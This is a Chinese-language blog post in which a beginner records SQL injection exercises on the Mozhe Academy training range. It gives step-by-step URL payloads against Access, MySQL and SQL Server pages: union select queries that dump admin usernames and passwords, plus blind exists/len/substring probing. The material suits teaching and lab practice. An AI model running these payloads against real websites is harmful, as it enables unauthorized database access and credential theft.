美文网首页安全
web训练sql注入-墨者学堂

web训练sql注入-墨者学堂

作者: 白先生_bfb1 | 来源:发表于2018-10-30 17:30 被阅读170次

    最近学习web渗透,看了一些基础,找了些把靶场做,新手,操作可能有不对的地方

    sql注入入门

    一、access数据库

    ①找到疑似注入点的地方进行and 1=1判断注入

    http://219.153.49.228:43491/new_list.asp?id=1

    and 1=1 回显正常

    and 1=2 回显不正常 判断有注入

    ②猜字段长度

    http://219.153.49.228:43491/new_list.asp?id=1 order by 4

    猜字段长度为4

    ③union select 1,2,3,4 from admin 猜测表面admin回显正常

    ④union select 1,username,passwd,4 from admin

    爆出用户名和密码。MD5解密登陆后台

    二、mysql数据库

    ①也是判断and1=1,and1=2 是否有注入

    ②猜字段长度

    http://ip/?id=1 order by 4

    猜字段长度为4

    ③猜测数据库,用户

    http://ip/?id=1 and 1=2 union select 1,version(),database(),4

    ④猜测表名

    http://ip/?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库‘

    ⑤猜测列名

    http://id/?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()

    ⑥猜测信息

    http://ip/?id=1 and 1=2 uinion select 1,group_concat(name,id,password),3,4 from 表名

    三、sqlserver数据库(admin,manage)

    在SQL中len为获取文本字段中值的长度的函数

    0的ASCII码是48,9是57,A是65,Z是90,a是97,z是122

    ①先判断and1=1,and1=2,是否有注入点

    ②用order by语句查询字段长度

    ③http://219.153.49.228:47357/new_list.asp?id=2 union select 1,2,3,4  报错,显然禁用了union查询,使用其他手工注入

    ④猜测数据表

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select*from admin)

    报错,所以没这个表

    ⑤http://219.153.49.228:47357/new_list.asp?id=2 and exists (select*from manage)

    回显正常,说明有这个表

    ⑥猜测字段

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage)

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select password from manage)

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select username from manage)

    回显正常 说明有这个字段

    ⑦猜测是否id

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where ID=1)

    回显正常,说明有id=1

    ⑧猜测当id=1 username字符有多长

    一个一个试

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where len(username)=8 and ID=1)

    测试完 username长度为8

    ⑨猜测password字符有多长

    http://219.153.49.228:47357/new_list.asp?id=2 and exists (select id from manage where len(password)=16 and ID=1)

    ⑩判断username第一个字符是什么

    http://219.153.49.228:40068/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)

    97对应的是a所以第一个字符是a

    依次判断到8,(password 同理)

    用burpsuite的intruder进行爆破

    得出账号跟密码

    (用sqlmap跑出来的表格是空的,emmmmm)

    相关文章

      网友评论

        本文标题:web训练sql注入-墨者学堂

        本文链接:https://www.haomeiwen.com/subject/qoggyftx.html